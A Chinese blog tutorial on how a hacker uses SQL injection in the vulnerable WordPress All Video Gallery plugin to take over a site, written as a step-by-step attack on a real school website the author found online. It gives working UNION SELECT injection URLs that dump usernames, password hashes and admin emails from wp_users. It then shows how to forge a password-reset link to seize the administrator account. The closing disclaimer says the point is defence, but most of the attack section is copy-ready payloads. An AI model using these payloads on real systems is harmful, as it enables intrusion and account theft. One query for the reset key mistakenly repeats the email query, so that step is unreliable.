热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

实战演示黑客如何利用SQL注入漏洞攻破一个WordPress网站

前几天微软skype的官方博客网站被黑客突破,虽然很快进行了修复,但从网友截屏的图片来看,应该一些抗议美国国安局监听行为和反对微软在软件里隐藏后门的黑客所为。微软skype的官方博客使用的是WordPress平台,Wordpress目前是世界上最流行的博客平台,市场占有率高达70%,这次攻击事件虽然牵涉到wordpre

前几天微软skype的官方博客网站被黑客突破,虽然很快进行了修复,但从网友截屏的图片来看,应该一些抗议美国国安局监听行为和反对微软在软件里隐藏后门的黑客所为。微软skype的官方博客使用的是WordPress平台,Wordpress目前是世界上最流行的博客平台,市场占有率高达70%,这次攻击事件虽然牵涉到wordpress,但并不能说明wordpress平台很脆弱,事实上脆弱的是wordpress上多达百万的各种第三方插件,这些插件的质量良莠不齐,如果你使用错误的插件,没有及时更新到最新版本,那你的wordpress网站就会成为黑客的目标。

All Video Gallery就是这样的一个典型例子。早在2012年6月份就有安全网站公布这个插件的1.1版有严重的安全漏洞,但我今天还是很轻松的使用谷歌搜到了仍然使用这个有漏洞的插件的网站。本文就是要以这个网站为靶子,给大家实战讲解黑客是如何利用sql注入技术攻破一个网站的。

SQL注入的基本原理

sql注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是http://xxx.com/list.php?customID=3,我们推理,这样页面的后台处理的sql应该是这样的:

select * form custom_order where custom_id = {$_GET['customID']}

按正常情况下,这里的接收的参数{$_GET['customID']}的值应该是传入的值3,这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。但是,如果这个参数被人恶意改成了如下形式:

http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

按这样的参数拼装成的sql就成了这样:

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。

All Video Gallery插件的漏洞简介

安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11

访问这个页面会显示一些配置信息,问题就出在pid这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行sql注入。

WordPress是一个开源的平台,我们很容易弄清楚用户表的表名是wp_users,存放用户名,密码,邮件地址的字段分别是user_login,user_pass,user_email,我们下面将要把用户信息表注入进去。

获取超级管理员用户名

为了获取用户表中的用户名,我们注入的sql是这样的:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

user-name

获取超级管理员邮件地址

我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。

要获取邮件地址,我们需要将上面的sql中的字段名改成user_email:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

user-email

重置管理员密码

WordPress的后台登陆地址是http://xxx.com/wp-login.php,这个地址是可以公共访问的,我们进入这个页面后,点击Lost your password?链接,输入上面获取的管理员邮件。

wp-login

这样做了之后,Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样的方法获取这个激活码,自己拼装出密码重置地址。存放激活码的字段是user_activation_key,我们的sql注入地址改成下面这样:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

active-key

有了激活码,我们就可以拼装出装置密码的地址了:

http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username

利用这个地址进入重置密码页面:

reset

总结

我们的黑客行动到此基本上是大功告成,但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击,而是要提醒大家防范安全漏洞,所谓知己知彼,方能百战不殆,程序员应当对基本的黑客攻击方式有一些了解,针对性的在编程时避免造成类似sql注入的安全漏洞,构筑更健壮的软件。


推荐阅读
  • MySQL 数据库迁移指南:从本地到远程及磁盘间迁移
    本文详细介绍了如何在不同场景下进行 MySQL 数据库的迁移,包括从一个硬盘迁移到另一个硬盘、从一台计算机迁移到另一台计算机,以及解决迁移过程中可能遇到的问题。 ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • Startup 类配置服务和应用的请求管道。Startup类ASP.NETCore应用使用 Startup 类,按照约定命名为 Startup。 Startup 类:可选择性地包括 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 网易严选Java开发面试:MySQL索引深度解析
    本文详细记录了网易严选Java开发岗位的面试经验,特别针对MySQL索引相关的技术问题进行了深入探讨。通过本文,读者可以了解面试官常问的索引问题及其背后的原理。 ... [详细]
  • PHP 编程疑难解析与知识点汇总
    本文详细解答了 PHP 编程中的常见问题,并提供了丰富的代码示例和解决方案,帮助开发者更好地理解和应用 PHP 知识。 ... [详细]
  • 深入理解OAuth认证机制
    本文介绍了OAuth认证协议的核心概念及其工作原理。OAuth是一种开放标准,旨在为第三方应用提供安全的用户资源访问授权,同时确保用户的账户信息(如用户名和密码)不会暴露给第三方。 ... [详细]
  • Python 异步编程:深入理解 asyncio 库(上)
    本文介绍了 Python 3.4 版本引入的标准库 asyncio,该库为异步 IO 提供了强大的支持。我们将探讨为什么需要 asyncio,以及它如何简化并发编程的复杂性,并详细介绍其核心概念和使用方法。 ... [详细]
  • 本文详细介绍如何使用Python进行配置文件的读写操作,涵盖常见的配置文件格式(如INI、JSON、TOML和YAML),并提供具体的代码示例。 ... [详细]
  • PHP 5.2.5 安装与配置指南
    本文详细介绍了 PHP 5.2.5 的安装和配置步骤,帮助开发者解决常见的环境配置问题,特别是上传图片时遇到的错误。通过本教程,您可以顺利搭建并优化 PHP 运行环境。 ... [详细]
  • 本文详细介绍了如何通过多种编程语言(如PHP、JSP)实现网站与MySQL数据库的连接,包括创建数据库、表的基本操作,以及数据的读取和写入方法。 ... [详细]
  • 利用存储过程构建年度日历表的详细指南
    本文将介绍如何使用SQL存储过程创建一个完整的年度日历表。通过实例演示,帮助读者掌握存储过程的应用技巧,并提供详细的代码解析和执行步骤。 ... [详细]
  • 2023年京东Android面试真题解析与经验分享
    本文由一位拥有6年Android开发经验的工程师撰写,详细解析了京东面试中常见的技术问题。涵盖引用传递、Handler机制、ListView优化、多线程控制及ANR处理等核心知识点。 ... [详细]
  • SQLite 动态创建多个表的需求在网络上有不少讨论,但很少有详细的解决方案。本文将介绍如何在 Qt 环境中使用 QString 类轻松实现 SQLite 表的动态创建,并提供详细的步骤和示例代码。 ... [详细]
  • 网络运维工程师负责确保企业IT基础设施的稳定运行,保障业务连续性和数据安全。他们需要具备多种技能,包括搭建和维护网络环境、监控系统性能、处理突发事件等。本文将探讨网络运维工程师的职业前景及其平均薪酬水平。 ... [详细]
author-avatar
qr筱然陋室
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有